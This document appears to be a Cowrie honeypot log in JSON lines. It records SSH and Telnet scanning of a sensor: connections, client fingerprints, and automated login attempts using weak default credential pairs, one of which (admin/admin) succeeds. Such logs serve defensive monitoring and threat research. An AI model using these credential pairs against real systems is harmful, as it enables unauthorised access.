{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:58.364120Z","src_ip":"211.186.79.173","session":"2ec368a3c815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.277391195297241,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:58.904964Z","src_ip":"190.212.210.188","session":"c07e27947fc6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin1234","message":"login attempt [root/adminadmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:34:59.158905Z","src_ip":"211.186.79.173","session":"2ec368a3c815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:00.352865Z","src_ip":"211.186.79.173","session":"2ec368a3c815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59518,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f424f22343","protocol":"telnet","message":"New connection: 50.6.3.16:59518 (10.17.0.5:23) [session: 55f424f22343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:00.380042Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59522,"dst_ip":"10.17.0.5","dst_port":23,"session":"acee5c1e6a96","protocol":"telnet","message":"New connection: 50.6.3.16:59522 (10.17.0.5:23) [session: acee5c1e6a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:00.847019Z"}
{"eventid":"cowrie.session.closed","duration":31.084895610809326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:01.824672Z","src_ip":"50.6.3.16","session":"a508ccc0f473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9e19ef3d07b","protocol":"telnet","message":"New connection: 50.6.3.16:59538 (10.17.0.5:23) [session: a9e19ef3d07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:04.733821Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"e690ee61a868","protocol":"telnet","message":"New connection: 50.6.3.16:59208 (10.17.0.5:23) [session: e690ee61a868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:08.905109Z"}
{"eventid":"cowrie.session.closed","duration":31.143137454986572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:11.140105Z","src_ip":"50.6.3.16","session":"f2ff6464ce56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"387eb3d11058","protocol":"telnet","message":"New connection: 50.6.3.16:59218 (10.17.0.5:23) [session: 387eb3d11058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:11.820066Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59232,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c04ae60305","protocol":"telnet","message":"New connection: 50.6.3.16:59232 (10.17.0.5:23) [session: 70c04ae60305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:12.158109Z"}
{"eventid":"cowrie.session.closed","duration":30.068201303482056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:15.558260Z","src_ip":"50.6.3.16","session":"f6dc262facd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af43278e352","protocol":"telnet","message":"New connection: 50.6.3.16:40096 (10.17.0.5:23) [session: 0af43278e352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:22.873092Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd813ec6e22","protocol":"telnet","message":"New connection: 50.6.3.16:40102 (10.17.0.5:23) [session: ffd813ec6e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:26.398656Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36020,"dst_ip":"10.17.0.5","dst_port":23,"session":"da95ecfe0701","protocol":"telnet","message":"New connection: 50.6.3.16:36020 (10.17.0.5:23) [session: da95ecfe0701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:28.025898Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.14.124.172","src_port":46344,"dst_ip":"159.203.135.109","dst_port":23,"session":"792c718e9c1b","protocol":"telnet","message":"New connection: 143.14.124.172:46344 (159.203.135.109:23) [session: 792c718e9c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:28.386746Z"}
{"eventid":"cowrie.session.closed","duration":31.100967407226562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:31.480880Z","src_ip":"50.6.3.16","session":"55f424f22343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27578902244568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:32.122666Z","src_ip":"50.6.3.16","session":"acee5c1e6a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8373bc187c4","protocol":"telnet","message":"New connection: 50.6.3.16:36032 (10.17.0.5:23) [session: e8373bc187c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:32.890967Z"}
{"eventid":"cowrie.session.closed","duration":31.397905349731445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:36.131579Z","src_ip":"50.6.3.16","session":"a9e19ef3d07b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75772714614868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:39.662729Z","src_ip":"50.6.3.16","session":"e690ee61a868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"8365be3aa06b","protocol":"telnet","message":"New connection: 50.6.3.16:37670 (10.17.0.5:23) [session: 8365be3aa06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:42.470371Z"}
{"eventid":"cowrie.session.closed","duration":31.08121967315674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:42.901124Z","src_ip":"50.6.3.16","session":"387eb3d11058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204660415649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:43.362647Z","src_ip":"50.6.3.16","session":"70c04ae60305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128066062927246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:54.001039Z","src_ip":"50.6.3.16","session":"0af43278e352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15201735496521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:56.550604Z","src_ip":"50.6.3.16","session":"ffd813ec6e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e59a69aaad","protocol":"telnet","message":"New connection: 50.6.3.16:40538 (10.17.0.5:23) [session: 67e59a69aaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:59.011084Z"}
{"eventid":"cowrie.session.closed","duration":31.135865211486816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:35:59.161627Z","src_ip":"50.6.3.16","session":"da95ecfe0701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40540,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6c9896cdc57","protocol":"telnet","message":"New connection: 50.6.3.16:40540 (10.17.0.5:23) [session: c6c9896cdc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:01.929238Z"}
{"eventid":"cowrie.session.closed","duration":31.073925495147705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:03.964772Z","src_ip":"50.6.3.16","session":"e8373bc187c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2d0f58c988","protocol":"telnet","message":"New connection: 50.6.3.16:39624 (10.17.0.5:23) [session: be2d0f58c988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:08.455899Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4d7b9c4ace","protocol":"telnet","message":"New connection: 50.6.3.16:39634 (10.17.0.5:23) [session: 4b4d7b9c4ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:09.202163Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2effbb78817","protocol":"telnet","message":"New connection: 50.6.3.16:39638 (10.17.0.5:23) [session: e2effbb78817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:11.544010Z"}
{"eventid":"cowrie.session.closed","duration":30.080244302749634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:12.550523Z","src_ip":"50.6.3.16","session":"8365be3aa06b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39646,"dst_ip":"10.17.0.5","dst_port":23,"session":"3faca6071b81","protocol":"telnet","message":"New connection: 50.6.3.16:39646 (10.17.0.5:23) [session: 3faca6071b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:14.165316Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":44136,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e38a44c263f","protocol":"ssh","message":"New connection: 211.186.79.173:44136 (10.17.0.5:22) [session: 4e38a44c263f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:15.682076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:15.686677Z","src_ip":"211.186.79.173","session":"4e38a44c263f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:15.951412Z","src_ip":"211.186.79.173","session":"4e38a44c263f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server2021","message":"login attempt [server/server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:16.712584Z","src_ip":"211.186.79.173","session":"4e38a44c263f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39660,"dst_ip":"10.17.0.5","dst_port":23,"session":"647352862725","protocol":"telnet","message":"New connection: 50.6.3.16:39660 (10.17.0.5:23) [session: 647352862725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:17.351369Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":38046,"dst_ip":"159.203.135.109","dst_port":22,"session":"325378001aee","protocol":"ssh","message":"New connection: 4.213.160.153:38046 (159.203.135.109:22) [session: 325378001aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:17.416830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:17.421514Z","src_ip":"4.213.160.153","session":"325378001aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:17.613887Z","src_ip":"4.213.160.153","session":"325378001aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:17.898926Z","src_ip":"211.186.79.173","session":"4e38a44c263f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"000000","message":"login attempt [admin1/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:18.398724Z","src_ip":"4.213.160.153","session":"325378001aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:19.625361Z","src_ip":"4.213.160.153","session":"325378001aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c2f96bf08ea","protocol":"telnet","message":"New connection: 50.6.3.16:33476 (10.17.0.5:23) [session: 3c2f96bf08ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:22.969248Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":59478,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddbbec2ea708","protocol":"ssh","message":"New connection: 120.48.135.189:59478 (10.17.0.5:22) [session: ddbbec2ea708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:23.758132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:23.763023Z","src_ip":"120.48.135.189","session":"ddbbec2ea708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:23.992240Z","src_ip":"120.48.135.189","session":"ddbbec2ea708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19999999","message":"login attempt [admin/19999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:24.926576Z","src_ip":"120.48.135.189","session":"ddbbec2ea708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"16360e48718d","protocol":"telnet","message":"New connection: 50.6.3.16:33480 (10.17.0.5:23) [session: 16360e48718d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:25.787533Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33492,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d0217e3e52","protocol":"telnet","message":"New connection: 50.6.3.16:33492 (10.17.0.5:23) [session: a0d0217e3e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:26.093388Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ad7e84e094","protocol":"telnet","message":"New connection: 50.6.3.16:33502 (10.17.0.5:23) [session: 08ad7e84e094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:26.097814Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3219b24ebfcf","protocol":"telnet","message":"New connection: 50.6.3.16:33508 (10.17.0.5:23) [session: 3219b24ebfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:27.053130Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:28.758143Z","src_ip":"143.14.124.172","session":"792c718e9c1b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:28.809697Z","src_ip":"143.14.124.172","session":"792c718e9c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80573081970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:29.816732Z","src_ip":"50.6.3.16","session":"67e59a69aaad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43799638748169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:33.367099Z","src_ip":"50.6.3.16","session":"c6c9896cdc57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33304,"dst_ip":"10.17.0.5","dst_port":23,"session":"67342ea19be0","protocol":"telnet","message":"New connection: 50.6.3.16:33304 (10.17.0.5:23) [session: 67342ea19be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:33.941547Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33318,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc63ed3edf66","protocol":"telnet","message":"New connection: 50.6.3.16:33318 (10.17.0.5:23) [session: fc63ed3edf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:37.029137Z"}
